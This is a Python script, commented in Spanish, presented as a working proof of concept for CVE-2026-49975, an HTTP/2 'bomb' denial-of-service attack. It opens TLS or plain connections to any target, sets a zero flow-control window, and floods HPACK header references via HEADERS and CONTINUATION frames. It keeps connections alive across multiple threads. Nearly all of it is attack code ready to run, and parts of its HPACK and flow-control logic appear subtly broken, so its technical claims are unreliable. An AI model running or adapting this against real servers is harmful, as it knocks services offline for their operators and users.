#!/usr/bin/env python3
"""
CVE-2026-49975 - HTTP/2 Bomb Proof of Concept (Funcional)
Uso: python3 http2_bomb.py <target_ip> <port> [--threads N]
"""

import socket
import ssl
import sys
import argparse
import threading
import time

# HTTP/2 Magic Prefix (requerido para el handshake)
PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'

# Frame headers (formato: length[3], type[1], flags[1], stream_id[4])
def build_frame(frame_type, flags, stream_id, payload=b''):
    """Construye un frame HTTP/2 válido"""
    length = len(payload).to_bytes(3, byteorder='big')
    frame = length + bytes([frame_type, flags]) + stream_id.to_bytes(4, byteorder='big') + payload
    return frame

# Tipos de frame
FRAME_HEADERS = 0x1
FRAME_CONTINUATION = 0x9
FRAME_DATA = 0x0
FRAME_SETTINGS = 0x4
FRAME_WINDOW_UPDATE = 0x8
FRAME_PING = 0x6

# Flags
FLAG_END_HEADERS = 0x4
FLAG_END_STREAM = 0x1
FLAG_ACK = 0x1

# Settings
SETTINGS_HEADER_TABLE_SIZE = 0x1
SETTINGS_ENABLE_PUSH = 0x2
SETTINGS_MAX_CONCURRENT_STREAMS = 0x3
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
SETTINGS_MAX_FRAME_SIZE = 0x5

def create_settings_frame(ack=False):
    """Crea un frame SETTINGS (inicial o ACK)"""
    flags = FLAG_ACK if ack else 0
    if ack:
        return build_frame(FRAME_SETTINGS, flags, 0)
    else:
        # Configura ventana inicial en 0 para el ataque
        settings_payload = (
            SETTINGS_INITIAL_WINDOW_SIZE.to_bytes(2, byteorder='big') +
            (0).to_bytes(4, byteorder='big')  # Ventana en 0
        )
        return build_frame(FRAME_SETTINGS, flags, 0, settings_payload)

def create_headers_frame(stream_id, headers_data, end_headers=True):
    """Crea un frame HEADERS con datos HPACK"""
    flags = FLAG_END_HEADERS if end_headers else 0
    return build_frame(FRAME_HEADERS, flags, stream_id, headers_data)

def create_continuation_frame(stream_id, headers_data, end_headers=True):
    """Crea un frame CONTINUATION"""
    flags = FLAG_END_HEADERS if end_headers else 0
    return build_frame(FRAME_CONTINUATION, flags, stream_id, headers_data)

def create_window_update_frame(stream_id, increment):
    """Crea un frame WINDOW_UPDATE"""
    payload = increment.to_bytes(4, byteorder='big')
    return build_frame(FRAME_WINDOW_UPDATE, 0, stream_id, payload)

def create_data_frame(stream_id, data, end_stream=False):
    """Crea un frame DATA"""
    flags = FLAG_END_STREAM if end_stream else 0
    return build_frame(FRAME_DATA, flags, stream_id, data)

def create_ping_frame():
    """Crea un frame PING para mantener la conexión activa"""
    payload = b'\x00' * 8
    return build_frame(FRAME_PING, 0, 0, payload)

def hpack_indexed_reference(index):
    """
    Codifica una referencia indexada de HPACK
    Formato: 1xxxxxxx (bit 7 = 1, índice en los 7 bits bajos)
    Para índices grandes, se usa formato de 2 bytes
    """
    if index <= 127:
        return bytes([0x80 | index])
    else:
        # Formato extendido para índices > 127
        return bytes([0x80 | (index >> 7), index & 0x7F])

def hpack_literal_header(name, value):
    """
    Codifica un header literal sin indexación
    Formato: 00000000 + nombre literal + valor literal
    """
    # Header name (literal)
    name_encoded = name.encode('utf-8')
    name_len = len(name_encoded).to_bytes(1, byteorder='big')
    
    # Header value (literal)
    value_encoded = value.encode('utf-8')
    value_len = len(value_encoded).to_bytes(1, byteorder='big')
    
    return b'\x00' + name_len + name_encoded + value_len + value_encoded

def create_bomb_payload(num_headers=5000):
    """
    Crea el payload HPACK de la bomba HTTP/2
    Utiliza una cookie fragmentada para evitar límites de tamaño
    """
    payload = b''
    
    # Paso 1: Insertar un header vacío o casi vacío en la tabla dinámica
    # Usamos un literal header sin indexación para poblar la tabla
    payload += hpack_literal_header('x-bomb', '')
    
    # Paso 2: Referenciar ese header miles de veces
    # Cada referencia indexada es un solo byte en la red
    for i in range(num_headers):
        # Las primeras referencias van a posiciones conocidas en la tabla
        # Después de insertar el header, su índice típicamente es 62 o 63
        index = 62 + (i % 2)  # Alterna entre índices cercanos
        payload += hpack_indexed_reference(index)
    
    return payload

def send_bomb(target, port, use_ssl=True, num_headers=5000):
    """Envía la bomba HTTP/2 al servidor objetivo"""
    sock = None
    try:
        # Crear conexión
        if use_ssl:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            sock = context.wrap_socket(
                socket.socket(socket.AF_INET, socket.SOCK_STREAM),
                server_hostname=target
            )
        else:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        
        sock.settimeout(30)
        sock.connect((target, port))
        print(f"[+] Conectado a {target}:{port}")
        
        # 1. Enviar prefacio HTTP/2
        sock.send(PREFACE)
        print("[+] Prefacio HTTP/2 enviado")
        
        # 2. Enviar SETTINGS con ventana inicial en 0
        sock.send(create_settings_frame(ack=False))
        print("[+] SETTINGS enviado (ventana inicial = 0)")
        
        # 3. Esperar SETTINGS ACK del servidor
        time.sleep(0.5)
        
        # 4. Crear múltiples streams para maximizar el impacto
        stream_id = 1
        bomb_payload = create_bomb_payload(num_headers)
        
        # Crear y enviar HEADERS frame con la bomba
        headers_frame = create_headers_frame(stream_id, bomb_payload[:16384], end_headers=False)
        sock.send(headers_frame)
        
        # Enviar CONTINUATION frames si el payload es grande
        remaining = bomb_payload[16384:]
        while remaining:
            chunk = remaining[:16384]
            continuation_frame = create_continuation_frame(stream_id, chunk, end_headers=(len(remaining) <= 16384))
            sock.send(continuation_frame)
            remaining = remaining[16384:]
        
        print(f"[+] Bomba enviada en stream {stream_id} con {num_headers} referencias")
        
        # 5. Mantener la conexión abierta con ventana en cero
        # El servidor no puede liberar memoria porque no puede enviar la respuesta
        print("[+] Manteniendo conexión abierta (ventana de flujo en cero)...")
        
        # Enviar WINDOW_UPDATE de 1 byte periódicamente para mantener la conexión
        # (evita timeouts manteniendo la conexión activa)
        ping_count = 0
        while True:
            time.sleep(1)
            # Enviar WINDOW_UPDATE mínimo para mantener la conexión
            sock.send(create_window_update_frame(stream_id, 1))
            # También enviamos PING cada 10 segundos para mantener la conexión
            ping_count += 1
            if ping_count % 10 == 0:
                sock.send(create_ping_frame())
            
    except socket.timeout:
        print("[-] Timeout - posiblemente el servidor está bajo ataque")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        if sock:
            sock.close()

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-49975 - HTTP/2 Bomb Proof of Concept (Funcional)'
    )
    parser.add_argument('target', help='IP o dominio del objetivo')
    parser.add_argument('port', type=int, default=443, 
                        help='Puerto (por defecto: 443)')
    parser.add_argument('--threads', type=int, default=1,
                        help='Número de hilos (por defecto: 1)')
    parser.add_argument('--headers', type=int, default=5000,
                        help='Número de referencias de header (por defecto: 5000)')
    parser.add_argument('--no-ssl', action='store_true',
                        help='No usar SSL (HTTP/2 sin TLS)')
    
    args = parser.parse_args()
    
    print("=" * 60)
    print("CVE-2026-49975 - HTTP/2 Bomb Proof of Concept")
    print("=" * 60)
    print(f"Objetivo: {args.target}:{args.port}")
    print(f"Hilos: {args.threads}")
    print(f"SSL: {not args.no_ssl}")
    print(f"Referencias por stream: {args.headers}")
    print("=" * 60)
    
    threads = []
    for i in range(args.threads):
        t = threading.Thread(
            target=send_bomb,
            args=(args.target, args.port, not args.no_ssl, args.headers)
        )
        t.daemon = True
        t.start()
        threads.append(t)
        time.sleep(0.1)  # Pequeña pausa entre hilos
    
    try:
        for t in threads:
            t.join()
    except KeyboardInterrupt:
        print("\n[!] Interrumpido por el usuario")
        sys.exit(0)

if __name__ == "__main__":
    main()
